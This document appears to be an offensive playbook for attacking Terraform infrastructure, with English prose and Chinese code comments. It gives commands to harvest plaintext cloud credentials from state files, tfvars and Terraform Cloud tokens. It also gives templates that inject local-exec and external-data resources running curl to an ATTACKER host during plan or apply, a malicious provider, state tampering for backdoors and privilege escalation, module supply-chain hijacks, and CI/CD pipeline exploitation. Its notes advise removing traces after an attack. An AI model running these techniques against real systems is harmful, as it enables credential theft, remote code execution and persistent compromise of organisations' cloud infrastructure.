Terraform stores the attributes of all managed resources (including passwords, keys, and tokens) in plaintext in the state file. The state file is the core of a Terraform attack—obtaining the state is equivalent to obtaining a credential snapshot of the entire infrastructure. Furthermore, Terraform's declarative nature means "code is infrastructure"—modifying the .tf file or module references can achieve code execution during the plan/apply phase.
In-Depth Reference
Complete attack technique details, jq queries for credential extraction by resource type, malicious resource injection templates:
→ Read references/attack-techniques.md
Phase 1: Environment Identification
Search the target system for the following Terraform identifier files to confirm how Terraform is used and the attack surface:
| Identifier File/Directory | Meaning | Attack Value |
|---|---|---|
*.tf |
HCL configuration file | Resource definitions, provider configuration, backend configuration |
terraform.tfstate / *.tfstate |
Local state file | Extremely high—plaintext credentials, resource attributes |
terraform.tfstate.backup |
State backup | Same as above, often forgotten on disk |
.terraform/ |
Plugin cache directory | Provider binaries, module source code cache |
.terraform.lock.hcl |
Dependency lock file | Provider version information |
*.tfvars / terraform.tfvars |
Variable values file | Sensitive variables such as database passwords and API keys |
*.auto.tfvars |
Automatically loaded variable file | Same as above |
.terraformrc / ~/.terraform.d/credentials.tfrc.json |
CLI configuration and credentials | Terraform Cloud/Enterprise API Token |
backend.tf / backend "s3" block |
Remote state backend configuration | Backend address, access credentials |
Quick identification commands:
# 搜索 Terraform 相关文件
find / -name "*.tf" -o -name "terraform.tfstate*" -o -name "*.tfvars" \
-o -name ".terraformrc" -o -name "credentials.tfrc.json" 2>/dev/null
# 检查环境变量
env | grep -iE "^TF_|^TERRAFORM_|^AWS_|^GOOGLE_|^ARM_"
# 检查进程
ps aux | grep -i terraform
Phase 2: Attack Decision Tree
发现 Terraform 环境
├── 找到 tfstate 文件(本地或备份)
│ └── → Phase 3: State 文件凭据提取(最快路径)
│
├── 有远程 State 后端访问权限(S3/Consul/HTTP/Azure Blob/GCS)
│ ├── 下载 State 文件 → Phase 3: State 文件凭据提取
│ └── 有写权限 → Phase 5: State 篡改(注入恶意 Provider)
│
├── 找到 .terraformrc 或 credentials.tfrc.json
│ └── → Phase 3.3: Provider 凭据窃取(Terraform Cloud Token)
│
├── 找到 *.tfvars 文件
│ └── → Phase 3.4: tfvars 变量文件利用(敏感变量提取)
│
├── 可修改 .tf 文件(有仓库写权限)
│ ├── → Phase 4: 恶意资源注入(local-exec provisioner → RCE)
│ └── → Phase 6: Module 供应链攻击(替换 Module 源为恶意仓库)
│
├── 可修改 tfvars 文件
│ └── → Phase 4.2: 变量篡改(修改资源参数实现持久化)
│
├── CI/CD Pipeline 触发 terraform plan/apply
│ └── → Phase 7: CI/CD Pipeline 利用
│ ├── PR 修改 .tf → plan 阶段 RCE(external data source)
│ └── PR 修改 .tf → apply 阶段 RCE(local-exec provisioner)
│
└── 仅发现 .terraform/ 缓存目录
└── 检查缓存的 Provider 二进制、Module 源码中的凭据
Phase 3: State File Credential Extraction
The state file is the highest-value target in a Terraform attack. All resource attributes (including those marked sensitive ) are in plaintext in the state.
3.1 Local State File
# 搜索所有 State 文件
find / -name "terraform.tfstate*" -o -name "*.tfstate" 2>/dev/null
# 全局敏感信息搜索
grep -iE "password|secret|token|api_key|access_key|private_key" terraform.tfstate
# 列出所有资源类型
jq -r '.resources[].type' terraform.tfstate | sort -u
Extract credentials by resource type (common high-value targets):
# AWS IAM Access Key(最常见的高价值目标)
jq -r '.resources[] | select(.type=="aws_iam_access_key") |
.instances[].attributes | {user: .user, id: .id, secret: .secret}' terraform.tfstate
# 数据库密码(RDS/Aurora)
jq -r '.resources[] | select(.type=="aws_db_instance") |
.instances[].attributes | {endpoint: .endpoint, username: .username, password: .password}' terraform.tfstate
# 一次性提取所有字符串属性中的敏感值
jq -r '[.resources[].instances[].attributes | to_entries[] |
select(.key | test("password|secret|token|key|credential"; "i")) |
{key: .key, value: .value}] | unique_by(.value)' terraform.tfstate
→ Read references/attack-techniques.md for the complete list of jq queries for credential extraction by resource type
3.2 Remote State Backend Exploitation
# 从 backend 配置识别远程后端类型
grep -A 10 'backend' backend.tf || grep -A 10 'backend' *.tf
# S3 Backend
aws s3 cp s3://BUCKET/PATH/terraform.tfstate /tmp/tfstate
aws s3 ls s3://BUCKET/PATH/ # 可能有多个 State 文件和备份
# Consul Backend
consul kv get terraform/state
# HTTP Backend
curl -s STATE_URL
# Azure Blob
az storage blob download --container-name tfstate \
--name terraform.tfstate --file /tmp/tfstate
# GCS Backend
gsutil cp gs://BUCKET/PATH/terraform.tfstate /tmp/tfstate
3.3 Provider Credential Theft
# Terraform Cloud / Enterprise Token
cat ~/.terraform.d/credentials.tfrc.json
# 提取 Token
jq -r '.credentials["app.terraform.io"].token' ~/.terraform.d/credentials.tfrc.json
# .terraformrc 中的凭据
cat ~/.terraformrc
cat .terraformrc
# 环境变量中的 Provider 凭据
env | grep -iE "^TF_VAR_|^AWS_|^GOOGLE_|^ARM_|^ALICLOUD_"
# Terraform Cloud Token 可用于:
# - 列出所有 Workspace → 下载所有 State → 批量提取凭据
# - 读取 Workspace 变量(包括 sensitive 变量的值)
# - 触发 Run → 在 Runner 上执行代码
3.4 tfvars Variable File Exploitation
# 搜索变量文件
find . -name "*.tfvars" -o -name "*.auto.tfvars" 2>/dev/null
# 读取所有变量文件
cat terraform.tfvars
cat *.tfvars *.auto.tfvars 2>/dev/null
# 搜索敏感变量
grep -iE "password|secret|token|api_key|credential" *.tfvars 2>/dev/null
3.5 Output Sensitive Value Extraction
# 列出所有 Output
terraform output
# JSON 格式获取所有 Output(包括 sensitive 标记的)
terraform output -json
# 直接从 State 读取 sensitive output(绕过 CLI 掩码)
jq -r '.outputs | to_entries[] | {name: .key, value: .value.value, sensitive: .value.sensitive}' terraform.tfstate
# 强制输出特定 sensitive 值
terraform output -raw SECRET_OUTPUT_NAME
Phase 4: Malicious Resource Injection
When write permission to the .tf file is available, malicious resources can be injected to achieve RCE or persistence.
4.1 local-exec Provisioner (apply-phase RCE)
# 通过 null_resource + local-exec 执行命令
resource "null_resource" "exec" {
provisioner "local-exec" {
command = "curl http://ATTACKER/$(whoami)@$(hostname)"
}
}
4.2 external Data Source (plan-phase RCE)
This is the most dangerous injection method— terraform plan alone can trigger code execution, without apply。
data "external" "rce" {
program = ["bash", "-c", "curl http://ATTACKER/$(whoami) >&2; echo '{}'"]
}
4.3 Malicious Provider
# 自定义 Provider 在 init/plan/apply 各阶段都可执行代码
terraform {
required_providers {
evil = {
source = "attacker/evil"
version = "1.0.0"
}
}
}
→ Read references/attack-techniques.md for the complete injection templates and backdoor resource examples
Phase 5: State Tampering
When write permission to the state file is available (local file or remote backend), the state can be directly tampered with to achieve persistence.
# 直接编辑 State(谨慎操作——格式错误会导致 Terraform 无法工作)
# 修改 serial 号(必须递增)
jq '.serial += 1' terraform.tfstate > tmp.tfstate && mv tmp.tfstate terraform.tfstate
# 注入恶意 Provider 到 State → 下次 plan/init 时触发
# 修改已有资源属性(如提权、开放端口、添加后门用户)
Core objectives of State tampering:
- Modify security group rules → open ports
- Modify IAM policies → escalate privileges
- Modify instance user_data → execute backdoor on next startup
- Inject malicious Provider reference → RCE on next init/plan
Phase 6: Module Supply Chain Attack
Terraform Module is the core mechanism for code reuse. Attacking a Module source can affect all projects that use that Module.
# 正常的 Module 引用
module "vpc" {
source = "terraform-aws-modules/vpc/aws"
version = "3.14.0"
}
# 攻击方式 1: 替换为恶意 Git 仓库
module "vpc" {
source = "git::https://attacker.com/evil-module.git"
}
# 攻击方式 2: 无版本锁定时的标签劫持
# 如果 source 使用 Git tag 而非 commit hash,可以 force-push 标签
module "vpc" {
source = "git::https://github.com/org/module.git?ref=v1.0"
# 攻击者 force-push v1.0 标签到恶意 commit
}
# 攻击方式 3: 私有 Registry 投毒
# 如果使用私有 Module Registry,获取 Registry 写权限后可替换 Module
Module attack detection points:
- Check whether the hash in
.terraform.lock.hclhas been modified - Check whether the Module source points to an unexpected Git repository
- Check whether the Module version uses a commit hash rather than a mutable tag
Phase 7: CI/CD Pipeline Exploitation
When Terraform is integrated with CI/CD (GitHub Actions + Terraform, Atlantis, Terraform Cloud), the attack surface expands further.
7.1 Plan Phase RCE
Many CI/CD processes automatically execute terraform planduring the PR phase. Through the external data source, modifications to .tf in a PR can achieve RCE already at the plan phase:
攻击者提交 PR(修改 .tf 文件)
→ CI/CD 自动触发 terraform plan
→ external data source 执行代码
→ 窃取 Runner 上的云凭据 / Secrets
7.2 Atlantis Specifics
# Atlantis 默认在 PR 中评论 `atlantis plan` 触发
# 如果 atlantis.yaml 允许自定义 workflow (allow_custom_workflows=true):
# PR 中添加 atlantis.yaml → 定义任意 pre_workflow_hook → RCE
# Atlantis 服务器通常持有高权限云凭据
# 成功 RCE 后检查环境变量和凭据文件
7.3 Terraform Cloud / Enterprise
# 使用窃取的 TFC Token
export TFE_TOKEN="STOLEN_TOKEN"
# 列出所有 Organization
curl -s -H "Authorization: Bearer $TFE_TOKEN" \
https://app.terraform.io/api/v2/organizations
# 列出 Workspace
curl -s -H "Authorization: Bearer $TFE_TOKEN" \
"https://app.terraform.io/api/v2/organizations/ORG/workspaces"
# 读取 Workspace 变量(包括 sensitive 变量)
curl -s -H "Authorization: Bearer $TFE_TOKEN" \
"https://app.terraform.io/api/v2/workspaces/WS_ID/vars"
# 下载 State(批量提取凭据)
curl -s -H "Authorization: Bearer $TFE_TOKEN" \
"https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version"
Tool Quick Reference
| Tool | Purpose | Command |
|---|---|---|
jq |
State file parsing | jq -r '.resources[].type' terraform.tfstate |
terraform show |
Display State in formatted form | terraform show |
terraform state list |
List all resources | terraform state list |
terraform state show |
View a single resource | terraform state show aws_instance.web |
terraform output |
View Output values | terraform output -json |
terraform providers |
List Providers | terraform providers |
tfsec |
Terraform security scanning | tfsec . |
checkov |
IaC security auditing | checkov -d . |
terrascan |
Compliance checking | terrascan scan |
Notes
Operational safety:
terraform planandterraform applyboth generate audit logs (especially in Terraform Cloud/Enterprise)- After modifying the State file, the serial number must be incremented, otherwise Terraform will report an error
terraform apply -auto-approvedirectly executes changes, which may cause serious impact in a production environment- After injecting malicious resources, they should be cleaned up promptly to avoid leaving obvious traces
State file handling:
- State files can be very large (several MB) and contain a complete snapshot of the infrastructure
- Always back up the original State before tampering
- State locking mechanisms (DynamoDB/Consul) may prevent concurrent writes
Credential validity:
- Credentials in State may have expired or been rotated
- Terraform Cloud Tokens usually have a long validity period
- Temporary credentials (STS Token) may have expired and need to be re-obtained